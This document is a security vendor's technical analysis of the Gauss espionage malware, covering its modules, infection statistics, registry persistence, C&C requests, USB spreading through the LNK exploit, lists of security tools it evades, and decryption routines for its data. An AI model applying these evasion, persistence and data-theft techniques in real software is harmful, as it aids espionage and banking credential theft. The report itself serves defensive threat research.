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Introduction

While analyzing the Flame malware that we detected in May 2012, Kaspersky Lab experts identified some distinguishing features of Flame’s modules. Based on those features, we discovered that in 2009, the first variant of the Stuxnet worm included a module that was created based on the Flame platform. This indicates that there was some form of collaboration between the groups that developed the Flame and Tilded (Stuxnet/Duqu) platforms.

Based on the results of a detailed analysis of Flame, we continued to actively search for new, unknown components. A more in-depth analysis conducted in June 2012 resulted in the discovery of a new, previously unknown malware platform that uses a modular structure resembling that of Flame, a similar code base and system for communicating to C&C servers, as well as numerous other similarities to Flame.

In our opinion, all of this clearly indicates that the new platform which we discovered and which we called ‘Gauss,’ is another example of a cyber-espionage toolkit based on the Flame platform.

Gauss is a project developed in 2011-2012 along the same lines as the Flame project. The malware has been actively distributed in the Middle East for at least the past 10 months. The largest number of Gauss infections has been recorded in Lebanon, in contrast to Flame, which spread primarily in Iran.

Functionally, Gauss is designed to collect as much information about infected systems as possible, as well as to steal credentials for various banking systems and social network, email and IM accounts. The Gauss code includes commands to intercept data required to work with several Lebanese banks – for instance, Bank of Beirut, Byblos Bank, and Fransabank.

Curiously, several Gauss modules are named after famous mathematicians. The platform includes modules that go by the names ‘Gauss’, ‘Lagrange’, ‘Godel’, ‘Tailor’, ‘Kurt’ (in an apparent reference to Godel). The Gauss module is responsible for collecting the most critical information, which is why we decided to name the entire toolkit after it.

Gauss is a much more widespread threat than Flame. However, we have found no self-replication functionality in the modules that we have seen to date, which leaves open the question of its original attack vector.

Executive Summary

The first known Gauss infections date back to September-October 2011. During that period, the Gauss authors modified different modules multiple times. They also changed command server addresses. In the middle of July 2012, when we had already discovered Gauss and were studying it, the command servers went offline.

Gauss is designed to collect information and send the data collected to its command-and-control servers. Information is collected using various modules, each of which has its own unique functionality:

Injecting its own modules into different browsers in order to intercept user sessions and steal passwords, cookies and browser history.

Collecting information about the computer’s network connections.

Collecting information about processes and folders.

Collecting information about BIOS, CMOS RAM.

Collecting information about local, network and removable drives.

Infecting USB drives with a spy module in order to steal information from other computers.

Installing the custom Palida Narrow font (purpose unknown).

Ensuring the entire toolkit’s loading and operation.

Interacting with the command and control server, sending the information collected to it, downloading additional modules.

The spy module that works on USB drives uses an .LNK exploit for the CVE-2010-2568 vulnerability. The exploit is similar to the one used in the Stuxnet worm, but it is more effective. The module masks the Trojan’s files on the USB drive without using a driver. It does not infect the system: information is extracted from it using a spy module (32- or 64-bit) and saved on the USB drive.

Infection stats

We began our investigation into Gauss in early June 2012. Based on data obtained through the Kaspersky Security Network, we noticed right away that the Trojan appeared to be widely distributed in three particular countries in the Middle East.

Further observation later confirmed this three-country concentration. As of 31 July 2012, we’ve counted around 2500 unique PCs on which files from the Gauss collection have been found.



Most infected countries

The highest number of infections is recorded in Lebanon, with more than 1600 computers affected. The Gauss code (winshell.ocx) contains direct commands to intercept data required to work with Lebanese banks – including the Bank of Beirut, Byblos Bank and Fransabank.

In Israel and the Palestinian Territory, 750 incidents have been recorded.

Country Unique users Lebanon 1660 Israel 483 Palestinian Territory 261 United States 43 United Arab Emirates 11 Germany 5 Egypt 4 Qatar 4 Jordan 4 Saudi Arabia 4 Syria 4

Top 10 infected countries

As can be seen in the above table, with the exceptions of the USA and Germany, all incidents took place in the Middle East. However, we believe that in the majority of cases linked to the USA and Germany the affected users were actually in the Middle East too – using VPNs (or the Tor anonymity network).

In all, we’ve recorded incidents in 25 countries around the world; however, in all the countries outside the top 10 only one or two incidents have been recorded:



Total infected users

Regarding the spreading mechanism used by Gauss, the obtained data leave us with more questions unanswered than solved. The overall number of infections (around 2500) that we’ve detected could in reality just be a small portion of tens of thousands of infections, since our statistics only cover users of Kaspersky Lab products.

When we compare the number of Gauss infections with those of other programs discovered earlier that have either common components or structures, we get the following figures:

Name Incidents (KL stats) Incidents (approx.) Stuxnet More than 100 000 More than 300 000 Gauss ~ 2500 ? Flame ~ 700 ~5000-6000 Duqu ~20 ~50-60

Gauss has been spreading in the region for at least 10 months, in the course of which it has infected thousands of systems. On one hand, this is an uncharacteristically high number for targeted attacks similar to Duqu (it’s possible that such a high number of incidents is due to the presence of a worm in one of the Gauss modules that we still don’t know about). However, the infections have been predominantly within the boundaries of a rather small geographical region. If the malware had the ability to spread indiscriminately – for example, on USB sticks as was the case with Stuxnet – infections would have been detected in much greater numbers in other countries.

Operating System Statistics

Gauss was designed for 32-bit versions of the Windows operating system. Some of the modules do not work under Windows 7 SP1.

OS % from total Windows 7 34,87 XP Professional SP2 26,40 XP Professional SP3 17,92 Windows 7 SP1 10,77 Windows 7 Home 2,15 Vista Home SP1 1,71 Vista Home 1,22 Windows 7 Home SP1 0,88 Vista Home SP2 0,83 Vista 0,64 Vista SP2 0,39 XP Home Edition 0,39 Vista SP1 0,34 Other 1,47

There is a separate spy module that operates on USB drives (see description of dskapi.ocx) and is designed to collect information from 64-bit systems.

Architecture

Gauss is a modular system. The number and combination of modules may change from one infected system to another. In the course of our research, we discovered the following modules:

Module name Location Description Cosmos %system32%devwiz.ocx Collects information about CMOS, BIOS Kurt, Godel %system32%dskapi.ocx Infects USB drives with data-stealing module Tailor %system32%lanhlp32.ocx Collects information about network interfaces McDomain %system32%mcdmn.ocx Collects information about user’s domain UsbDir %system32%smdk.ocx Collects information about computer’s drives Lagrange %system32%windig.ocx Installs a custom ‘Palida Narrow’ font Gauss %system32%winshell.ocx Installs browser plugins that collect passwords and cookies ShellHW “%system32%wbemwmiqry32.ocx

%system32%wbemwmihlp32.ocx

“ Main loader and communication module

The configuration of a specific combination of modules for each system is described in a special registry key. This technique, as well as the configuration structure itself, is similar to that used in Stuxnet/Duqu (storing of the configuration in the Windows registry) and Flame (configuration structure). Flame stores its configuration in the main module (mssecmgr.ocx).

We created a special detection routine which helped us to discover various Gauss configurations based on registry settings on infected machines. We detected about 1700 such configurations in total, which revealed a picture of modules propagation:

Module “Number of PC with the module

(defined in config)

“ UsbDir 1655 Godel 1220 Gauss 858 Gauss_1.1 510 Kurt (aka Godel) 433 Gauss 1.0.8 318 Tailor 28 McDomain 1.2 5 Cosmos 5 Lagrange 3

You can see three main modules, which are used in most cases – Gauss, Godel and UsbDir.

Some examples of different configs:

As mentioned above, we have been unable to discover the original infection vector and the dropper file that installs Gauss in the system. In all the systems we have studied, we dealt with a set of modules that was already installed. It is possible that during initial infection, only the ShellHW component is installed, which then installs the other modules.

ShellHW (file name ‘wmiqry32.dll’/’wmihlp32.dll’) is the main component of the malware which ensures that all other Gauss modules are loaded when the malware starts and operate correctly.

Comparison with Flame

As we mentioned above, there are significant similarities in code and architecture between Gauss and Flame. In fact, it is largely due to these similarities that Gauss was discovered. We created the following table for a clearer understanding of these facts and proof of ‘kinship’ between the two attack platforms:

Feature Flame Gauss Modular architecture Yes Yes Using kernel drivers No No .OCX files extensions Yes Yes Configuration settings Predefined in main body Stored in registry DLL injections Yes Yes Visual C++ Yes Yes Encryption methods XOR XOR Using USB as storage Yes (hub001.dat) Yes (.thumbs.db) Embedded LUA scripting Yes No Browser history/cookies stealer Yes (soapr32/nteps32) Yes (winshell) CVE2010-2568 (.LNK exploit) Yes (target.lnk) Yes (target.lnk) C&C communication https https Log files/stolen data stored in %temp% Yes Yes Zlib compression of collected data Yes Yes

In addition to the features listed above, there are considerable similarities in the operation of the Flame and Gauss C&C servers. The relevant analysis is provided in the C&C Communication section.

There are more similarities in the code and data of the modules:

C++ runtime type information (RTTI) structures are encoded to hide the names of the standard library classes. The same encoded names can be found in both Flame and Gauss modules, i.e. the first RTTI structure contains a name ‘AVnxsys_uwip’ that most likely belongs to the ‘AVtype_info’ class.

Most of Flame and Gauss modules contain dozens of object initialization functions that construct string objects from encrypted data. The layout of these functions is almost identical.



String decryption routines (‘GetDecryptedStrings’ used in initialization functions) are very similar, although not identical, because the layout of the structures holding encrypted strings was changed.



Wmiqry32/Wmihlp32.dll aka ShellHW

Installed by: Unknown dropper

Operates in two modes: installation and normal operation.

File names “%system32%wbemwmiqry32.dll

%system32%wbemwmihlp32.dll

“ Some known MD5 “C3B8AD4ECA93114947C777B19D3C6059

08D7DDB11E16B86544E0C3E677A60E10

055AE6B8070DF0B3521D78E1B8D2FCE4

FA54A8D31E1434539FBB9A412F4D32FF

01567CA73862056304BB87CBF797B899

23D956C297C67D94F591FCB574D9325F” Image Size 258 048 bytes Number of resources 7 Resources 121, 131, 141, 151, 161, 171, 181 Date of compilation “Jun 1 2011

Jul 16 2011

Jul 18 2011

Sep 28 2011

Oct 20 2011

“ Related files “%temp%~shw.tmp

%temp%~stm.tmp

“

Installation

The module checks if it was loaded by ‘lsass.exe’ process and, if true, proceeds with the installation.

It writes itself in files: %system32%wbemwmiqry32.dll, %system32%wbemwmihlp32.dll and modifies the system registry to be loaded instead of %system32%wbemwbemsvc.dll file.

To achieve this, it writes the following registry value:

[HKCRCLSID{7C857801-7381-11CF-884D-00AA004B2E24}InProcServer32] Default = %system32%wbemwmihlp32.dll

Operation

The module is automatically loaded into processes that use wbemsvc.dll. When loaded in ‘svchost.exe’ that was started with ‘-k netsvc’ parameter, it starts its main thread.

The module creates ‘ShellHWStop’, ‘GlobalShellHWDetectionEvent’ events, mutex ‘ShellHWDetectionMutex’.

The main thread exits if the following processes were found at its start:

LMon.exe sagui.exe RDTask.exe kpf4gui.exe ALsvc.exe pxagent.exe fsma32.exe licwiz.exe SavService.exe prevxcsi.exe alertwall.exe livehelp.exe SAVAdminService.exe csi-eui.exe mpf.exe lookout.exe savprogress.exe lpfw.exe mpfcm.exe emlproui.exe savmain.exe outpost.exe fameh32.exe emlproxy.exe savcleanup.exe filemon.exe AntiHook.exe endtaskpro.exe savcli.exe procmon.exe xfilter.exe netguardlite.exe backgroundscanclient.exe Sniffer.exe scfservice.exe oasclnt.exe sdcservice.exe acs.exe scfmanager.exe omnitray.exe sdcdevconx.exe aupdrun.exe spywaretermin

atorshield.exe onlinent.exe sdcdevconIA.exe sppfw.exe spywat~1.exe opf.exe sdcdevcon.exe spfirewallsvc.exe ssupdate.exe pctavsvc.exe configuresav.exe fwsrv.exe terminet.exe pctav.exe alupdate.exe opfsvc.exe tscutynt.exe pcviper.exe InstLsp.exe uwcdsvr.exe umxtray.exe persfw.exe CMain.exe dfw.exe updclient.exe pgaccount.exe CavAUD.exe ipatrol.exe webwall.exe privatefirewall3.exe CavEmSrv.exe pcipprev.exe winroute.exe protect.exe Cavmr.exe prifw.exe apvxdwin.exe rtt_crc_service.exe Cavvl.exe tzpfw.exe as3pf.exe schedulerdaemon.exe CavApp.exe privatefirewall3.exe avas.exe sdtrayapp.exe CavCons.exe pfft.exe avcom.exe siteadv.exe CavMud.exe armorwall.exe avkproxy.exe sndsrvc.exe CavUMAS.exe app_firewall.exe avkservice.exe snsmcon.exe UUpd.exe blackd.exe avktray.exe snsupd.exe cavasm.exe blackice.exe avkwctrl.exe procguard.exe CavSub.exe umxagent.exe avmgma.exe DCSUserProt.exe CavUserUpd.exe kpf4ss.exe avtask.exe avkwctl.exe CavQ.exe tppfdmn.exe aws.exe firewall.exe Cavoar.exe blinksvc.exe bgctl.exe THGuard.exe CEmRep.exe sp_rsser.exe bgnt.exe spybotsd.exe OnAccessInstaller.exe op_mon.exe bootsafe.exe xauth_service.exe SoftAct.exe cmdagent.exe bullguard.exe xfilter.exe CavSn.exe VCATCH.EXE cdas2.exe zlh.exe Packetizer.exe SpyHunter3.exe cmgrdian.exe adoronsfirewall.exe Packetyzer.exe wwasher.exe configmgr.exe scfservice.exe zanda.exe authfw.exe cpd.exe scfmanager.exe zerospywarele.exe dvpapi.exe espwatch.exe dltray.exe zerospywarelite_installer.exe clamd.exe fgui.exe dlservice.exe Wireshark.exe sab_wab.exe filedeleter.exe ashwebsv.exe tshark.exe SUPERAntiSpyware.exe firewall.exe ashdisp.exe rawshark.exe vdtask.exe firewall2004.exe ashmaisv.exe Ethereal.exe asr.exe firewallgui.exe ashserv.exe Tethereal.exe NetguardLite.exe gateway.exe aswupdsv.exe Windump.exe nstzerospywarelite.exe hpf_.exe avastui.exe Tcpdump.exe cdinstx.exe iface.exe avastsvc.exe Netcap.exe cdas17.exe invent.exe Netmon.exe fsrt.exe ipcserver.exe CV.exe VSDesktop.exe ipctray.exe

The module reads the registry value ‘SOFTWAREMicrosoftWindowsCurrentVersionReliability’ ‘TimeStampForUI’. It is an encrypted configuration file. The configuration file contains the list of additional modules, their names, DLL exports names to call and location of the modules’ additional files.

String values from config file (example)

Gauss ShellNotifyUser ShellNotifyUserEx SetWindowEvent InitShellEx %systemroot%system32winshell.ocx %temp%ws1bin.dat Godel InitCache RevertCache ValidateEntry CreateEntry %windir%system32dskapi.ocx %temp%~gdl.tmp UsbDir InitCache RevertCache ValidateEntry CreateEntry %windir%system32smdk.ocx %temp%~mdk.tmp

Every module is loaded and its export functions are called as specified in the configuration.

Most of the actions are logged in an encrypted (with XOR) file ‘%temp%~shw.tmp’.



Sample of decrypted ‘~shw.tmp’

After loading additional modules, it tries to acquire the same privileges as ‘explorer.exe’ and then starts its C&C interaction loop.

Prior to communicating with the C&C, all the information from the other modules’ log files is copied to the ~shw.tmp file. Paths to the log files are taken from the TimeStampForUI configuration file.

As a result, at this stage ~shw.tmp becomes a universal container file containing all the stolen data.

It checks Internet connection (https) by accessing URLs specified in its resource 161.

It then checks an https connection with www.google.com or www.update.windows.com. If ‘200 OK’ is received in reply, it sends a request with the proxy server parameters taken from the prefs.js file of the Mozilla Firefox browser.

When an Internet connection is available, it connects to its C&C servers that are specified in resource 131:

Connection is established using WinInet API and is performed in two stages:

GET request to the server. The response from the server is expected to contain new modules, commands or configuration data.

GET [C&C domain]/userhome.php?sid=[random string]==&uid=VfHx8fHx8fHx8fHx8fHx8fHx8fE= 1 GET [ C & amp ; C domain ] / userhome . php ? sid = [ random string ] == & amp ; uid = VfHx8fHx8fHx8fHx8fHx8fHx8fE = POST request to the server with the contents of the file ‘~shw.tmp’ that contains all data collected from the infected computer.

The response from the server is decrypted using XOR and 0xACDC as the key. Exfiltrated data is compressed with Zlib.

The C&C connection routine is controlled by a DWORD value that is read from the registry value:

[HKLMSOFTWAREMicrosoftWindowsCurrentVersionReliability]

ShutdownIntervalSnapshotUI

The initial value of the counter is read from resource 181 and is equal to 56. The counter is decremented every time the module fails to connect to its C&C server or to the servers specified in resource 161 and it is reset to the initial value after every successful connection to the C&C server. The module exits the C&C connection loop when the value of the counter becomes equal to zero.

Resource Description 121 3 DWORDs, related to list of AVs 131 Hostnames and URLs of C&C servers 141 List of AVs, firewalls, etc. 151 Additional configuration DWORDs 161 Hostnames and URLs of legitimate sites to check Internet connection 171 String with cryptic identifiers 181 DWORD, number of attempts to connect to the C&C before giving up

Version info ‘wmiqry32.dll’

File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: WMI COM Helper FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft

Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: WMI COM Services Help ProductVersion: 05.01.2600.5788

Name of the module used in Gauss: ‘Godel’ or ‘Kurt’.

File names %system32%dskapi.ocx Some known MD5 “ED5559B0C554055380D75C1D7F9C4424

E379270F53BA148D333134011AA3600C

EF83394D9600F6D2808E0E99B5F932CA” Image Size “1 327 104 bytes

954 368 bytes

962 560 bytes

417 792 bytes

“ Number of resources 2 Resources 100, 101 Date of compilation “28.09.2011

13.10.2011

01.11.2011

29.11.2011

“ Related files “%temp%~gdl.tmp

.thumbs.db

wabdat.dat

desktop.ini

target.lnk

System32.dat

System32.bin

.CatRoot.tmp

“

Creates events: ‘{12258790-A76B}’, ‘GlobalRasSrvReady’

All functionality is implemented in ‘RevertCache’ export. The module starts its main thread and then returns. The main thread waits for the ‘{12258790-A76B}’ event and continuously checks for the presence of anti-malware software.

‘ValidateEntry’ signals the ‘{12258790-A76B}’ event, allowing for the main thread to work for 3 seconds before terminating it.

Writes log file: %temp%~gdl.tmp

The log file entries are compressed with Zlib.

Reads registry key HKLMSYSTEMCurrentControlSetServicesDiskEnum

Checks for running anti-malware products by names and exits if they are present:

AVKProxy.exe

AVKService.exe

AVKTray.exe

AVKWCtl.exe

GDFirewallTray.exe

GDFwSvc.exe

GDScan.exe

abcd.exe

avp.exe

fameh32.exe

fch32.exe

fsar32.exe

fsav32.exe

fsdfwd.exe

fsgk32.exe

fsgk32st.exe

fsguidll.exe

fshdll32.exe

fsm32.exe

fsma32.exe

fsmb32.exe

fsorsp.exe

fspc.exe

fsqh.exe

fssm32.exe

fsus.exe

gsava.exe

gssm32.exe

vsmon.exe

zapro.exe

zlclient.exe

It also exits if started on Windows 7 SP 1.

By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching ‘USBSTOR’ string in their information.

When a drive contains ‘.thumbs.db’ file, its contents are read and checked for the valid magic number 0xEB397F2B. If it matches, the module creates %commonprogramfiles%systemwabdat.dat and writes the data to this file, and then deletes ‘.thumbs.db’.

Then, it infects the USB drives by creating directories with the names .Backup0[D-M] and .Backup00[D-M]



Infected USB root folder (before activation)

Each directory contains a specially crafted desktop.ini file and target.lnk file that exploits the LNK vulnerability.



target.lnk



[.ShellClassInfo] CLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D}

CLSID2 = {0AFACED1-E828-11D1-9187-B532F1E9575D}

UICLSID = {0AFACED1-E828-11D1-9187-B532F1E9575D}

desktop.ini



Listing of .Backup0* directory

In the root directory of the drive it creates files ‘System32.dat’ and ‘System32.bin’, the payload DLLs, and the ‘.thumbs.db’ file. The payloads are stored as resources and encrypted with a simple XOR routine.

static int decrypt(uint8_t *data, unsigned int dataLen) { uint32_t acc = 0xCC; for (unsigned int i = 0; i < dataLen; i++ ) { uint8_t acc2 = data[i]; data[i] ^= acc; acc = acc2; } return 0; }

Resource File name Description 100 System32.dat (.CatRoot.tmp) 32-bit payload 101 System32.bin (.CatRoot.tmp) 64-bit payload

USB Payload

Both 32-bit and 64-bit DLLs implement the same functionality. When loaded using the LNK vulnerability, they start a main thread and return. The main thread copies the payload to %TEMP% directory and loads itself again. When loaded from %TEMP%, it creates a mutex ‘Isvp4003ltrEvent’, patches the ‘NtQueryDirectoryFile’ function in ntdll.dll so that it hides its files and then sends the ‘F5’ key event to windows of classes ‘SysListView32’, ‘SysTreeView32’, ‘DirectUIHWND’, causing Explorer directory listings to refresh. This hides the files. It also waits for the event ‘GlobalRasSrvReady’.

Then, it retrieves the following data from the system:

Version of the Windows OS

Workstation info

Network adapter information

Routing table

Process list

Environment variables and disk information

List of visible network shares

Network proxy information

List of visible MS SQL servers

URL cache

All this information is encoded and appended to the file ‘.thumbs.db’ on the infected storage. This file also contains a TTL (time to live) value that is decremented by 1 each time the payload starts from the infected storage. When this counter becomes equal to zero, the payload disinfects the media by removing ‘.Backup0*’ directories and ‘System32.dat’ and ‘System32.bin’ files, leaving ‘.thumbs.db’ file with collected information. Known value of the TTL value is ’30.’

There are several ‘special’ versions of the payload. They contain additional PE sections with names ‘.exsdat,’ ‘.exrdat,’ and ‘.exdat’. These sections are encrypted with RC4. The encryption key is derived from an MD5 hash performed 10000 times on a combination of ‘%PATH%’ environment string and name of the directory in %PROGRAMFILES%.

The RC4 key is not yet known, neither is the contents of these sections. The payload also contains a binary resource 100 that is also encrypted.

.thumbs.db file

This is a container for data stolen by the ‘dskapi’ payload.

Offset Data 0 Magic number : 0xEB397F2B 4 TTL counter : Encoded data

The encoded data consists of arrays of encoded strings, separated by a magic value 0xFF875686.

Offset Description 0 Magic number :

0xFF875686 – end of array of records, must search for the next Magic

0xFF875683 XOR ( recordLength + 5 ) – start of record 4 Encrypted string data, recordLength bytes

Every record is encrypted by a simple algorithm using the character’s position and record length and can be decrypted with the following code:

for (unsigned int j = 0; j < recordLen; j++ ) { ptr[i + j] ^= recordLen; ptr[i + j] -= j; }

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: ¿ Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: MicrosoftR WindowsR Operating System ProductVersion: 5.1.3700.0

Version info ‘dskapi.ocx’

Name of the module used in Gauss: ‘UsbDir’

File names %system32%smdk.ocx Some known MD5 “5604A86CE596A239DD5B232AE32E02C690F5C45420C295C73067AF44028CE0DD” Image Size 212 992 bytes Date of compilation “27.09.2011

17.10.2011” Related files %temp%~mdk.tmp

Creates events: ‘{B336C220-B158}’, ‘GlobalSmSrvReady’

All functionality is implemented in ‘RevertCache’ export. The module starts its main thread and then returns. The main thread waits for the ‘{B336C220-B158}’ event and continuously checks for the presence of anti-malware software.

‘ValidateEntry’ signals the ‘{B336C220-B158}’ event, allowing for the disk enumeration routine to start.

Writes log file: %temp%~mdk.tmp

Reads registry key HKLMSYSTEMCurrentControlSetServicesDiskEnum

Checks for running antimalware products by names and exits if they are present:

AVKProxy.exe

AVKService.exe

AVKTray.exe

AVKWCtl.exe

GDFirewallTray.exe

GDFwSvc.exe

GDScan.exe

abcd.exe

avp.exe

fameh32.exe

fch32.exe

fsar32.exe

fsav32.exe

fsdfwd.exe

fsgk32.exe

fsgk32st.exe

fsguidll.exe

fshdll32.exe

fsm32.exe

fsma32.exe

fsmb32.exe

fsorsp.exe

fspc.exe

fsqh.exe

fssm32.exe

fsus.exe

gsava.exe

gssm32.exe

The version of the module built on 27.09.2011 also exits if started on Windows 7 SP 1.

By querying disk enum in registry, it also tries to identify whether the storage is USB-connected or not by searching ‘USBSTOR’ string in their information.

The log file entries are compressed with Zlib.

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Disk Helper FileVersion: 5.1.3700.0 InternalName: dskapi.ocx LegalCopyright: ¿ Microsoft Corporation. All rights reserved. OriginalFilename: dskapi.ocx ProductName: MicrosoftR WindowsR Operating System ProductVersion: 5.1.3700.0

Version info ‘smdk.ocx’ (the same as in dskapi.ocx)

Name of the module used in Gauss: ‘McDomain’

File names %system32%mcdmn.ocx known MD5 9CA4A49135BCCDB09931CF0DBE25B5A9 Image Size 102 400 bytes Date of compilation 16.09.2011 Related files %temp%md.bak

This module is a Windows DLL file with one exported function called ‘DllRegisterServer.’

It creates log file: %temp%md.bak that is encrypted with 2-byte XOR.

Uses LsaQueryInformationPolicy to retrieve the name of the primary domain. Retrieves information about network adapters. All this information is encrypted and stored in the log file.

File Version: 2001.12.4414.320 Product Version: 5.1.2600.5788 File OS: WINDOWS32 File Type: DLL File SubType: UNKNOWN File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows File Extension FileVersion: 2001.12.4414.320 LegalCopyright: Copyright (C) Microsoft Corp. 1995-1999 LegalTrademarks: Microsoft(R) is a registered trademark of Microsoft

Corporation. Windows(TM) is a trademark of Microsoft Corporation ProductName: MicrosoftR WindowsR Operating System ProductVersion: 05.01.2600.5788

Version info ‘mcdmn.ocx’

Name of the module used in Gauss: ‘Tailor’

File names %system32%lanhlp32.ocx Known MD5 ED2B439708F204666370337AF2A9E18F Image Size 278 528 bytes Date of compilation 26.10.2011 Related files %systemroot%Temps61cs3.dat

The module is a Windows DLL file with one exported function called ‘DllRegisterServer.’

It contains encrypted debug information that includes the location of the project, ‘d:projectstailor’:

d:projectstailorutilsExceptions.h ..UtilsBuffer.cpp ..UtilsCryptUtils.cpp ..UtilsEvent.cpp ..UtilsEveryoneSecurityAttributes.cpp ..UtilsFile.cpp ..UtilsMutex.cpp ..UtilsMyWlanApi.cpp ..UtilsOsUtils.cpp ..UtilsRemoteMemoryBuffer.cpp ..UtilsStorage.cpp ..UtilsStringUtils.cpp ..UtilsWaiter.cpp .SavedWNetworkConnectionsWin5.cpp .SavedWNetworkConnectionsWin6.cpp .VisibleNetworks.cpp

Creates mutex : GlobalEnvDBE

Creates log file: %systemroot%Temps61cs3.dat

Operates on Windows XP, Windows Vista and Windows 7.

On Windows XP:

.SavedWNetworkConnectionsWin5.cpp

Enumerates registry keys in HKLMSOFTWAREMicrosoftWZCSVCParametersInterfaces

Extracts ‘Static#’ values that contain wireless key data.

On Windows Vista and Windows 7 :

..UtilsMyWlanApi.cpp

.SavedWNetworkConnectionsWin6.cpp

.VisibleNetworks.cpp

Uses extended wlanapi.dll API to access WLAN information. Enumerates available wireless interfaces, then enumerates all profiles and extracts SSID, name and wireless key information. Then, it retrieves the list of wireless networks visible to all the wireless interfaces.

The log file is encrypted with a simple 1-byte XOR.

File Version: 5.1.3700.0 Product Version: 5.1.3700.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Microsoft Windows LAN Component FileVersion: 5.1.3700.0 InternalName: lanhlp32.ocx LegalCopyright: ¿ Microsoft Corporation. All rights reserved. OriginalFilename: lanhlp32.ocx ProductName: MicrosoftR WindowsR Operating System ProductVersion: 5.1.3700.0

Version info ‘lanhlp32.ocx’

Name of the module used in Gauss: ‘Cosmos’

File names %system32%devwiz.ocx Known MD5 CBB982032AED60B133225A2715D94458 Image Size 102 400 bytes Date of compilation 19.03.2012 Related files %temp%~ZM6AD3.tmp

The module is a Windows DLL file with one exported function called ‘RefreshDev.’

It creates log file : %WINDIR%temp~ZM6AD3.tmp

The log file is not encrypted and starts with a magic number 0xF68B973D

The module collects the following information and writes it to the log file :

CMOS RAM contents

Registry keys : [ HKLMHARDWAREDESCRIPTIONSystem ] SystemBiosVersion, SystemBiosDate [ HARDWAREDESCRIPTIONSystemBIOS ] BIOSVendor, BIOSVersion, BIOSReleaseDate, BaseBoardManufacturer, BaseBoardProduct,

BaseBoardVersion, SystemFamily, SystemManufacturer, SystemProductName, SystemSKU,

SystemVersion

All retrieved information is written to the log file.

File Version: 5.1.2600.0 Product Version: 5.1.2600.0 File OS: NT (WINDOWS32) File Type: DRV File SubType: DRV SOUND File Date: 00:00:00 00/00/0000 Language/Code Page: 1033/1200 CompanyName: Microsoft Corporation FileDescription: Windows Device Wizard FileVersion: 5.1.2600.0 InternalName: devwiz.ocx LegalCopyright: ¿ Microsoft Corporation. All rights reserved. OriginalFilename: devwiz.ocx ProductName: MicrosoftR WindowsR Operating System ProductVersion: 5.1.2600.0

Version info ‘devwiz.ocx’

Name of the module used in Gauss: ‘Gauss’

File names %system32%winshell.ocx Some known MD5 “EF6451FDE3751F698B49C8D4975A58B57AC2799B5337B4BE54E5D5B03B214572

4FB4D2EB303160C5F419CEC2E9F57850

“ Image Size “405 504 (August 2011)

417 792 (October 2011)

401 408 (Dec 2011 – Jan 2012)

“ Number of resources 6 Resources 121,122,123,124,125,126 Date of compilation “08.08.2011

03.10.2011

14.12.2011

05.01.2012

“ Related files “%temp%ws1bin.dat

browser.js

browser.xul

fileio.js

chrome.manifest

lppd.dat

install.rdf

rssf.dat

lfm.dat

mppd.dat

pddp.dat

“

Creates events: ‘GlobalSrvReportCondition’, ‘GlobalDhwSyncEvent’, ‘GlobalShellSync’

Interestingly, all three variants of the module that we have analyzed contain information about the location and names of the original projects:

Variant Path to project files August 2011 d:projectsgauss October 2011 d:projectsgauss_for_macis_2 Dec 2011-Jan 2012 c:documents and settingsflamerdesktopgauss_white_1

Contains encrypted debug information that includes the location and files of the project:

c:documents and settingsflamerdesktopgauss_white_1utilsExceptions.h .main.cpp .Manager.cpp c:documents and settingsflamerdesktopgauss_white_1utilsSmartPtr.h .Injector.cpp c:documents and settingsflamerdesktopgauss_white_1

gauss../Utils/ComUtils.h .History.cpp .FirefoxPluginInstaller.cpp .Telemetry.cpp .Storage.cpp .OsUtils.cpp .ProcessSnapshot.cpp .Event.cpp .GaussThread.cpp .Buffer.cpp .RemoteMemoryBuffer.cpp .File.cpp .Mutex.cpp .Waiter.cpp .EveryoneSecurityAttributes.cpp .Catcher.cpp .BrowserConnector.cpp c:documents and settingsflamerdesktopgauss_white_1

minime../Utils/SmartPtr.h .Assigner.cpp .IEAbstractElements.cpp .FormExtractor.cpp .COMAbstractDataTypes.cpp

The debug information which was accidentally forgotten by the developers provides some interesting details. For instance, the Windows username which compiled the project can be seen in the strings above as ‘flamer’.

DllMain starts a thread only if loaded by ‘explorer.exe’.

Writes log file: %systemroot%Tempws1bin.dat. Log file starts with magic number 0x0A86FD375, encrypted with 1-byte XOR 0x46. Log file writer is guarded by mutex ‘GlobalShellSyncCom’.

Reads registry key : SOFTWAREMicrosoftWindowsCurrentVersionReliability

ShutdownInterval = binary data

Checks Windows version and, onWindows Vista and Windows 7, it accesses %SystemDrive%Users. On earlier versions, it uses %SystemDrive%Documents and settings and gets list of directories there.

Export ‘InitShellEx’ : Enumerates all entries in HKEY_USERS, removes all entries in SOFTWAREMozillaMozillaFirefox for each user, searches for its log ws1bin.dat and removes it.

Export ‘SetWindowEvent’ : set event ‘GlobalDhwSyncEvent’, wait for other thread to exit in 20 seconds, then terminate that thread.

Export ‘ShellNotifyUser’ : returns 1

Export ‘ShellNotifyUserEx’ : main export. Starts its main thread that should be monitored by the event ‘SetWindowEvent’ and returns.

Lists running processes and returns if ‘evil.exe’ is running.

Additionally logs the presence of the following registry keys : ‘HKLMSOFTWAREKasperskyLabAVP6’, ‘HKLMSOFTWAREKasperskyLabprotectedAVP7’

